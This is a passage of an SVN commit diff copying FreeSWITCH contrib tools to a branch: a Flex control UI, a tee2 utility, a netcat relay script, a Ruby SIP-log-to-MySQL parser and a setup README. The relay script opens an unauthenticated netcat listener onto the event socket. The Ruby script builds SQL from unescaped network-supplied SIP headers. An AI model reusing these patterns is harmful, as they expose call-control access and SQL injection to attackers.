+			<mx:Label x="125" y="80" text="Port" width="32"/>
+			<mx:Button x="254" y="106" label="connect" click="connect()"/>
+			<mx:Button x="271" y="182" label="Save" click="saveSettings()"/>
+			<mx:Label x="175" y="80" text="Password" width="58"/>
+			<mx:TextInput x="175" y="106" width="71" text="ClueCon" id="esl_pass"/>
+			<mx:Button x="10" y="182" label="Shutdown FS" click="shutdownFS()"/>
+			
+		</mx:Canvas>
+		<mx:Panel label="Logs" width="100%" height="100%" layout="absolute">
+			<mx:TextArea width="326" height="196" id="logBox" x="0" y="2"/>
+			<mx:TextInput width="246" id="command" y="206"/>
+			<mx:Button label="Send" click="sendCommand()" x="254" y="206"/>
+			<mx:Button label="Clear" click="clearLogs" x="254" y="-28"/>
+		</mx:Panel>
+		
+	</mx:TabNavigator>
+	<mx:Panel x="0" y="258" width="251" height="63" layout="absolute" headerHeight="5" id="ringBox">
+		<mx:Button x="10" y="11" label="Answer" click="answer()" id="btnAnswer" color="#FFFFFF" fillColors="#00FF00"/>
+		<mx:Button x="138" y="10" label="Reject" click="hangup()" color="#FFFFFF" fillColors="#FF0000"/>
+	</mx:Panel>
+	
+</mx:WindowedApplication>

Copied: freeswitch/branches/seven/contrib/seven/fsair/tools (from rev 14471, freeswitch/trunk/contrib/seven/fsair/tools)

Deleted: freeswitch/branches/seven/contrib/seven/fsair/tools/Makefile

Copied: freeswitch/branches/seven/contrib/seven/fsair/tools/Makefile (from rev 14471, freeswitch/trunk/contrib/seven/fsair/tools/Makefile) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/fsair/tools/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/tools/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+all:
+	gcc -o tee2 tee2.c
+
+install: tee2
+	install tee2 /usr/local/bin
+	#install tee2 /usr/bin
+	#cp tee2 /usr/local/bin/
+
+clean:
+	rm -f tee2

Deleted: freeswitch/branches/seven/contrib/seven/fsair/tools/mm.sh

Copied: freeswitch/branches/seven/contrib/seven/fsair/tools/mm.sh (from rev 14471, freeswitch/trunk/contrib/seven/fsair/tools/mm.sh) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/fsair/tools/mm.sh	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/tools/mm.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,7 @@
+#!/bin/sh
+
+echo > /tmp/a
+echo > /tmp/b
+#tail -f /tmp/b &
+tail -f /tmp/a | nc localhost 8021 | tee2 /tmp/b | nc -l -k 8022 | tee /tmp/a 
+

Deleted: freeswitch/branches/seven/contrib/seven/fsair/tools/tee2

Copied: freeswitch/branches/seven/contrib/seven/fsair/tools/tee2 (from rev 14471, freeswitch/trunk/contrib/seven/fsair/tools/tee2)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/seven/fsair/tools/tee2.c

Copied: freeswitch/branches/seven/contrib/seven/fsair/tools/tee2.c (from rev 14471, freeswitch/trunk/contrib/seven/fsair/tools/tee2.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/fsair/tools/tee2.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/tools/tee2.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+/* tee2 - read from standard input and write to standard output, 
+   standard error and a file.
+   Useful when you redirect the stdout but still want to keep an eye on
+   the output. Like a B2BSocket:                                             
+
+   $ echo > /tmp/a
+   $ echo > /tmp/b
+   $ tail -f /tmp/a | nc localhost 8021 | tee2 /tmp/b | nc -l -k 8022 | tee /tmp/a
+
+   Want to write to more than one file? Just using the UNIX art
+   $ echo blah | tee2 /tmp/1 | tee /tmp/{2,3,4,5,6}
+
+/* Author: Seven Du  */
+ 
+#include <stdio.h>
+#include <stdlib.h>
+ 
+int main (int argc, char **argv)
+{
+	char c;
+	char *file_name;
+	FILE *file;
+	if (argc < 2) {
+		fprintf(stderr, "Usage: tee2 <file_name>\n");
+		exit(1);
+	}           
+	    
+	file_name = argv[1];
+	
+	if(! (file = fopen(file_name, "w")) ){
+		fprintf(stderr, "Error write file %s !\n", file_name);
+		exit(2);
+	}           
+	
+	while((c = fgetc(stdin)) != EOF) {
+		putc(c, file);
+		putc(c, stdout);
+		putc(c, stderr);
+		
+		if(c == '\n') {
+			fflush(file);
+			fflush(stdout);
+			fflush(stderr);
+		}
+		
+	}                      
+	
+	fclose(file);
+	exit(0);
+} 

Copied: freeswitch/branches/seven/contrib/seven/sip (from rev 14471, freeswitch/trunk/contrib/seven/sip)

Deleted: freeswitch/branches/seven/contrib/seven/sip/sip2db.rb

Copied: freeswitch/branches/seven/contrib/seven/sip/sip2db.rb (from rev 14471, freeswitch/trunk/contrib/seven/sip/sip2db.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/sip/sip2db.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/sip/sip2db.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,207 @@
+#!/usr/bin/env ruby
+
+# read SIP messages from a plain text file(FreeSWITCH with TPORT_DUMP=/tmp/xxxx.log),
+# and write to a Mysql database
+#
+# There are lots of ways to monitor sip messages. However, not all of them are convinient
+# as we want. Let's say a simple example:
+# 
+# FreeSWITCH :> originate sofia/gateways/carrier1/5550000|sofia/gateways/carrier2/5550000|sofia/carrier3...
+# 
+# It's hard to tell what happend if the call fails. Because it's different sip sessions.
+# The idea is to group them in one super session and see what happend. I do this by
+# adding an arbitary sip header to do cross reference. And by parse the sip messages to 
+# a DB we can easily show it as html. I even can build a simple graph based on the DB data:
+# 
+# http://skitch.com/seven1240/b8xj2/voip-master-idapted
+# 
+# You can easily add a sip header to INVITE by(I use x_interaction):
+# FreeSWITCH :> originate {sip_h_x_interaction=TEST0001}sofia/gateways/.....
+# 
+# And I can get all the messages from DB:
+# SELECT * FROM `sip_messages` WHERE (call_id IN
+#         (SELECT distinct call_id FROM sip_messages WHERE x_interaction = 'TEST0001'))  ORDER BY created_at;
+# 
+# There are two aproches to get sip packets:
+# 1) tcpdump/tshark
+# 2) FreeSWITCH
+# 
+# I use the second. Note, there is no way to actually get sip messages from FS currently, but sofia-sip
+# has the ability to log all sip messages to a disk file by using TPORT_DUMP
+# 
+# And you can use this script to parse them to a DB. I know it hurt performance,
+# but we don't have tons of traffic and you know there are only 5-10 messages for each
+# sip call. While we get about 1G bytes each day in the sip log, most of them are OPTIONS/NOTIFY etc.
+# I filtered them before inserting to DB, but it will be better if sofia-sip can filter that :)
+# 
+# The script will monitor the log file and parse and insert to DB in real time. It's written in
+# the Ruby on Rails framework, however, I think it can run out of Rails with or without
+# modification. But you still need ruby and rubygems if you want to use it.
+# 
+# on Ubuntu/Debian
+# # apt-get install ruby rubygems
+# # gem install mysql file-tail yaml
+# 
+# It's just an idea, you may like to write your own tools to parse the sip log file. Also
+# the log file need to be rotated regularly. And I think it maybe possible to store the log
+# file on a memory disk, whatever... :)
+#
+# By default, it will go to the end of a log file and follow(like tail),
+# if you want to parse the existing part, comment line: f.backward(0)
+#
+# Sample mysql DB DDL:
+# CREATE TABLE `sip_messages` (
+#   `id` int(11) NOT NULL auto_increment,
+#   `message_type` varchar(255) default NULL,
+#   `sip_to` varchar(255) default NULL,
+#   `call_id` varchar(255) default NULL,
+#   `message_bytes` int(11) default NULL,
+#   `content_length` int(11) default NULL,
+#   `message_body` text,
+#   `created_at` datetime default NULL,
+#   `x_interaction` varchar(255) default NULL,
+#   PRIMARY KEY  (`id`),
+#   KEY `index_sip_messages_on_x_interaction` (`x_interaction`)
+# ) ENGINE=InnoDB;
+#
+# Author: seven_at_idapted.com
+# Lisense: Free of use
+
+require 'rubygems'
+require "file/tail"
+require "mysql"
+require "yaml"
+
+
+RAILS_ROOT =  File.expand_path(File.join(File.dirname(__FILE__), '..'))
+# Uncomment the following line and comment the above to make it work withouth rails framework
+# RAILS_ROOT = "."
+DB_CONFIG_FILENAME = File.join(RAILS_ROOT, "config/database.yml")
+LOG_FILE = File.join(RAILS_ROOT, 'log/sip2db.log')
+# FILENAME="/tmp/tport_sip.log"
+FILENAME="/usr/local/freeswitch/log/tport_sip.log"
+@debug = true
+
+if File.writable?(LOG_FILE)
+  @log_file = File.open(LOG_FILE, "a+")
+  puts "Writing logs to #{LOG_FILE}"
+else
+  @log_file = STDOUT
+end
+
+def log(msg)
+  @log_file.puts "#{Time.now.strftime("%Y-%m-%d %H:%M:%S")}: #{msg}"
+end
+
+def db_config
+  if File.readable?(DB_CONFIG_FILENAME)
+    conf = YAML.load_file(DB_CONFIG_FILENAME)
+    return conf["production"]
+  else
+    conf["host"] = "localhost"
+    conf["username"] = "root"
+    conf["password"] = ""
+    conf["database"] = "freeswitch_sip_db"
+  end
+end
+
+#connect to Mysql
+@dbh = nil
+@debug = true
+@call_id_array = [] #use as a queue to filter related messages
+
+def mysql_connect
+  Mysql.real_connect(db_config["host"] || db_config["server"], db_config["username"], db_config["password"], db_config["database"])  
+end
+
+def ignore_message?(call_id, message_type)     
+  #we do not care about certain types of messages and it's related ones
+  
+  # log @call_id_array.size.to_s                                              
+  @call_id_array.shift if @call_id_array.size > 10000
+  return true if @call_id_array.include?(call_id)
+  if message_type =~ /(REGISTER|OPTIONS|NOTIFY)/
+    @call_id_array << call_id
+    return true
+  end
+  return false
+end
+
+def insert_to_db(message_body)
+  
+  # puts message_body
+  message_body =~ /(recv|sent) (\d+)[^\n]*\n(\S+).*To: ([^\n]+).*Call-ID: (\S+).*Content-Length: (\d+)[^(x_int)]*(x_interaction: ([A-Z0-9]+))*/m
+  message_bytes, message_type, sip_to, call_id, content_length, x_interaction = $2, $3, $4, $5, $6, $8
+  sip_to.sub!(/^.*<([^;>]+).*/, '\1') unless sip_to.nil?
+  
+  return if call_id.nil?
+  
+  call_id = call_id[0,100] + "_TRUNCATED" if call_id.length > 100
+  return if ignore_message?(call_id, message_type)
+  
+  message_body = @dbh.escape_string(message_body)
+  sql = "INSERT INTO sip_messages (message_type, sip_to, call_id, message_bytes, x_interaction, content_length, message_body, created_at)
+      VALUES('#{message_type}', '#{sip_to}', '#{call_id}', '#{message_bytes}', '#{x_interaction}', #{content_length || 0 }, '#{message_body}', now())"
+  log sql if @debug
+    
+  begin
+    @dbh.query(sql)
+  rescue Mysql::Error => e
+    log "Error code #{e.errno}"
+    log "Error message: #{e.error}"
+    log "Error SQLSTATE: #{e.sqlstate}" if e.respond_to?("sqlstate")
+  end
+end
+
+
+#start here
+begin
+  # connect to the MySQL server
+  # get server version string and display it
+  @dbh = mysql_connect
+  log "Server version: " + @dbh.get_server_info
+rescue Mysql::Error => e
+  log "Error code: #{e.errno}"
+  log "Error message: #{e.error}"
+  log "Error SQLSTATE: #{e.sqlstate}" if e.respond_to?("sqlstate")
+ensure
+  # disconnect from server
+  # @dbh.close if @dbh
+end
+
+
+
+File.open(FILENAME) do |f|
+  message_type_expecting = true
+  message_body = ''
+  message_started = false
+  call_id = nil
+  line_count = 0
+
+   f.extend(File::Tail)
+   f.interval = 10
+   f.backward(0)
+   f.tail do |line|
+     
+     if line_count > 1000 # crazy?
+       line_count = 0
+       message_started = false
+     end
+     
+     if !message_started && line =~ /^(recv|sent) (\d+)/
+       message_started = true
+     end
+     
+     if line =~ /\013/    # \v - seperator in dump file
+       insert_to_db message_body
+       message_body = ''
+       message_started = false
+     else
+       message_body << line
+     end
+
+  end
+end
+
+
+

Copied: freeswitch/branches/seven/contrib/shahzad (from rev 14471, freeswitch/trunk/contrib/shahzad)

Copied: freeswitch/branches/seven/contrib/swk (from rev 14471, freeswitch/trunk/contrib/swk)

Deleted: freeswitch/branches/seven/contrib/swk/README

Copied: freeswitch/branches/seven/contrib/swk/README (from rev 14471, freeswitch/trunk/contrib/swk/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,52 @@
+This Software is licensed under the MPL.
+
+REQUIREMENTS:
+
+To Use:
+Flash9 or Flash10 
+PHP 5
+AMFPHP http://www.amfphp.org/
+FreeSWITCH ESL PHP Extensions
+And of course a WebServer
+
+To Develop:
+All of the Above
+Adobe Flex Development Environment. (This is available from Adobe's website in both paid and free formats.)
+
+
+To Install: 
+
+Install AMFPHP as per http://www.amfphp.org/docs/installingamfphp.html
+Rename the 'amfphp' directory to feeder. This is done to avoid robot scanners, bu I am sure that eventually they'll start looking for that.
+
+copy the freeswitch.php file into the AMFPHP services directory.
+
+make the files in amf-test1/bin-debug available on your webserver and point a browser at it.
+
+copy the php/xml_curl directory to your webserver 
+
+make sure you have mod_xml_curl built and installed and enabled
+	uncomment it in the modules.conf in your source tree
+	uncomment it in your modules.conf.xml in the conf/autoload_configs/modules.conf.xml
+
+
+edit the gateway_url param in conf/autoload_configs/xml_curl.conf.xml to enabale the directory binding
+EXAMPLE:
+	<param name="gateway-url" value="http://localhost/xml_curl/directory.php" bindings="directory"/>
+
+
+rename conf/directory/default.xml to conf/directory/default.xml.NOLOAD
+	this is no longer required as we are now loading the directory using xml_curl
+
+
+If you are developing in flex you need to load the swf from your development webserver so that it can properly locate the service. 
+
+Any questions, feel free to find me as SwK via IRC at #freeswitch on irc.freenode.net or krice AT freeswitch DOT org
+
+
+TODO:
+Fix Groups and Group Editing
+Fix Conference Controls
+Rework PHP Class Files for both the amfphp service and the xml_curl there is no need to maintain these seperately as they share a fair ammount of code
+anything else I can come up with
+

Copied: freeswitch/branches/seven/contrib/swk/flex (from rev 14471, freeswitch/trunk/contrib/swk/flex)

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1 (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/.actionScriptProperties

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/.actionScriptProperties (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/.actionScriptProperties) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/.actionScriptProperties	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/.actionScriptProperties	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<actionScriptProperties mainApplicationPath="main.mxml" version="3">
+<compiler additionalCompilerArguments="-locale en_US" copyDependentFiles="true" enableModuleDebug="true" generateAccessible="false" htmlExpressInstall="true" htmlGenerate="true" htmlHistoryManagement="true" htmlPlayerVersion="9.0.28" htmlPlayerVersionCheck="true" outputFolderPath="bin-debug" sourceFolderPath="src" strict="true" useApolloConfig="false" verifyDigests="true" warn="true">
+<compilerSourcePath/>
+<libraryPath defaultLinkType="1">
+<libraryPathEntry kind="4" path=""/>
+<libraryPathEntry kind="1" linkType="1" path="libs"/>
+</libraryPath>
+<sourceAttachmentPath/>
+</compiler>
+<applications>
+<application path="main.mxml"/>
+</applications>
+<modules/>
+<buildCSSFiles/>
+</actionScriptProperties>

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/.flexProperties

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/.flexProperties (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/.flexProperties) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/.flexProperties	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/.flexProperties	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<flexProperties flexServerType="16" serverContextRoot="" serverRoot="/Users/krice/Documents/amf-test1" serverRootURL="http://192.168.1.140/amf-test1/" toolCompile="true" useServerFlexSDK="false" version="1"/>

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/.project

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/.project (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/.project) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/.project	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/.project	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<projectDescription>
+	<name>amf-test1</name>
+	<comment></comment>
+	<projects>
+	</projects>
+	<buildSpec>
+		<buildCommand>
+			<name>com.adobe.flexbuilder.project.flexbuilder</name>
+			<arguments>
+			</arguments>
+		</buildCommand>
+	</buildSpec>
+	<natures>
+		<nature>com.adobe.flexbuilder.project.flexnature</nature>
+		<nature>com.adobe.flexbuilder.project.actionscriptnature</nature>
+	</natures>
+</projectDescription>

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/.settings (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/.settings)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/.settings/org.eclipse.core.resources.prefs

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/.settings/org.eclipse.core.resources.prefs (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/.settings/org.eclipse.core.resources.prefs) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/.settings/org.eclipse.core.resources.prefs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/.settings/org.eclipse.core.resources.prefs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+#Sat Mar 07 02:10:09 CST 2009
+eclipse.preferences.version=1
+encoding/<project>=utf-8

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/AC_OETags.js

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/AC_OETags.js (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/AC_OETags.js) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/AC_OETags.js	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/AC_OETags.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,276 @@
+// Flash Player Version Detection - Rev 1.6
+// Detect Client Browser type
+// Copyright(c) 2005-2006 Adobe Macromedia Software, LLC. All rights reserved.
+var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
+var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
+var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;
+
+function ControlVersion()
+{
+	var version;
+	var axo;
+	var e;
+
+	// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry
+
+	try {
+		// version will be set for 7.X or greater players
+		axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
+		version = axo.GetVariable("$version");
+	} catch (e) {
+	}
+
+	if (!version)
+	{
+		try {
+			// version will be set for 6.X players only
+			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
+			
+			// installed player is some revision of 6.0
+			// GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
+			// so we have to be careful. 
+			
+			// default to the first public version
+			version = "WIN 6,0,21,0";
+
+			// throws if AllowScripAccess does not exist (introduced in 6.0r47)		
+			axo.AllowScriptAccess = "always";
+
+			// safe to call for 6.0r47 or greater
+			version = axo.GetVariable("$version");
+
+		} catch (e) {
+		}
+	}
+
+	if (!version)
+	{
+		try {
+			// version will be set for 4.X or 5.X player
+			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
+			version = axo.GetVariable("$version");
+		} catch (e) {
+		}
+	}
+
+	if (!version)
+	{
+		try {
+			// version will be set for 3.X player
+			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
+			version = "WIN 3,0,18,0";
+		} catch (e) {
+		}
+	}
+
+	if (!version)
+	{
+		try {
+			// version will be set for 2.X player
+			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
+			version = "WIN 2,0,0,11";
+		} catch (e) {
+			version = -1;
+		}
+	}
+	
+	return version;
+}
+
+// JavaScript helper required to detect Flash Player PlugIn version information
+function GetSwfVer(){
+	// NS/Opera version >= 3 check for Flash plugin in plugin array
+	var flashVer = -1;
+	
+	if (navigator.plugins != null && navigator.plugins.length > 0) {
+		if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
+			var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
+			var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
+			var descArray = flashDescription.split(" ");
+			var tempArrayMajor = descArray[2].split(".");			
+			var versionMajor = tempArrayMajor[0];
+			var versionMinor = tempArrayMajor[1];
+			var versionRevision = descArray[3];
+			if (versionRevision == "") {
+				versionRevision = descArray[4];
+			}
+			if (versionRevision[0] == "d") {
+				versionRevision = versionRevision.substring(1);
+			} else if (versionRevision[0] == "r") {
+				versionRevision = versionRevision.substring(1);
+				if (versionRevision.indexOf("d") > 0) {
+					versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
+				}
+			}
+			var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
+		}
+	}
+	// MSN/WebTV 2.6 supports Flash 4
+	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
+	// WebTV 2.5 supports Flash 3
+	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
+	// older WebTV supports Flash 2
+	else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
+	else if ( isIE && isWin && !isOpera ) {
+		flashVer = ControlVersion();
+	}	
+	return flashVer;
+}
+
+// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
+function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
+{
+	versionStr = GetSwfVer();
+	if (versionStr == -1 ) {
+		return false;
+	} else if (versionStr != 0) {
+		if(isIE && isWin && !isOpera) {
+			// Given "WIN 2,0,0,11"
+			tempArray         = versionStr.split(" "); 	// ["WIN", "2,0,0,11"]
+			tempString        = tempArray[1];			// "2,0,0,11"
+			versionArray      = tempString.split(",");	// ['2', '0', '0', '11']
+		} else {
+			versionArray      = versionStr.split(".");
+		}
+		var versionMajor      = versionArray[0];
+		var versionMinor      = versionArray[1];
+		var versionRevision   = versionArray[2];
+
+        	// is the major.revision >= requested major.revision AND the minor version >= requested minor
+		if (versionMajor > parseFloat(reqMajorVer)) {
+			return true;
+		} else if (versionMajor == parseFloat(reqMajorVer)) {
+			if (versionMinor > parseFloat(reqMinorVer))
+				return true;
+			else if (versionMinor == parseFloat(reqMinorVer)) {
+				if (versionRevision >= parseFloat(reqRevision))
+					return true;
+			}
+		}
+		return false;
+	}
+}
+
+function AC_AddExtension(src, ext)
+{
+  if (src.indexOf('?') != -1)
+    return src.replace(/\?/, ext+'?'); 
+  else
+    return src + ext;
+}
+
+function AC_Generateobj(objAttrs, params, embedAttrs) 
+{ 
+    var str = '';
+    if (isIE && isWin && !isOpera)
+    {
+  		str += '<object ';
+  		for (var i in objAttrs)
+  			str += i + '="' + objAttrs[i] + '" ';
+  		str += '>';
+  		for (var i in params)
+  			str += '<param name="' + i + '" value="' + params[i] + '" /> ';
+  		str += '</object>';
+    } else {
+  		str += '<embed ';
+  		for (var i in embedAttrs)
+  			str += i + '="' + embedAttrs[i] + '" ';
+  		str += '> </embed>';
+    }
+
+    document.write(str);
+}
+
+function AC_FL_RunContent(){
+  var ret = 
+    AC_GetArgs
+    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
+     , "application/x-shockwave-flash"
+    );
+  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
+}
+
+function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
+  var ret = new Object();
+  ret.embedAttrs = new Object();
+  ret.params = new Object();
+  ret.objAttrs = new Object();
+  for (var i=0; i < args.length; i=i+2){
+    var currArg = args[i].toLowerCase();    
+
+    switch (currArg){	
+      case "classid":
+        break;
+      case "pluginspage":
+        ret.embedAttrs[args[i]] = args[i+1];
+        break;
+      case "src":
+      case "movie":	
+        args[i+1] = AC_AddExtension(args[i+1], ext);
+        ret.embedAttrs["src"] = args[i+1];
+        ret.params[srcParamName] = args[i+1];
+        break;
+      case "onafterupdate":
+      case "onbeforeupdate":
+      case "onblur":
+      case "oncellchange":
+      case "onclick":
+      case "ondblClick":
+      case "ondrag":
+      case "ondragend":
+      case "ondragenter":
+      case "ondragleave":
+      case "ondragover":
+      case "ondrop":
+      case "onfinish":
+      case "onfocus":
+      case "onhelp":
+      case "onmousedown":
+      case "onmouseup":
+      case "onmouseover":
+      case "onmousemove":
+      case "onmouseout":
+      case "onkeypress":
+      case "onkeydown":
+      case "onkeyup":
+      case "onload":
+      case "onlosecapture":
+      case "onpropertychange":
+      case "onreadystatechange":
+      case "onrowsdelete":
+      case "onrowenter":
+      case "onrowexit":
+      case "onrowsinserted":
+      case "onstart":
+      case "onscroll":
+      case "onbeforeeditfocus":
+      case "onactivate":
+      case "onbeforedeactivate":
+      case "ondeactivate":
+      case "type":
+      case "codebase":
+        ret.objAttrs[args[i]] = args[i+1];
+        break;
+      case "id":
+      case "width":
+      case "height":
+      case "align":
+      case "vspace": 
+      case "hspace":
+      case "class":
+      case "title":
+      case "accesskey":
+      case "name":
+      case "tabindex":
+        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
+        break;
+      default:
+        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
+    }
+  }
+  ret.objAttrs["classid"] = classid;
+  if (mimeType) ret.embedAttrs["type"] = mimeType;
+  return ret;
+}
+
+

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/assets)

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/icons (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/assets/icons)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/icons/ai.jpg

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/icons/ai.jpg (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/assets/icons/ai.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/icons/air.jpg

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/icons/air.jpg (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/assets/icons/air.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/icons/fl.jpg

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/icons/fl.jpg (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/assets/icons/fl.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/icons/fw.jpg

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/icons/fw.jpg (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/assets/icons/fw.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/icons/fx.jpg

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/icons/fx.jpg (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/assets/icons/fx.jpg)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/icons/ps.jpg

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/icons/ps.jpg (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/assets/icons/ps.jpg)


(Binary files differ)

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/images (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/assets/images)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/images/tab.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/images/tab.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/assets/images/tab.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/images/tab_selected.png

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/images/tab_selected.png (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/assets/images/tab_selected.png)


(Binary files differ)

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/xml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/assets/xml)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/xml/listData.xml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/xml/listData.xml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/bin-debug/assets/xml/listData.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/bin-debug/assets/xml/listData.xml	                        (rev 0)
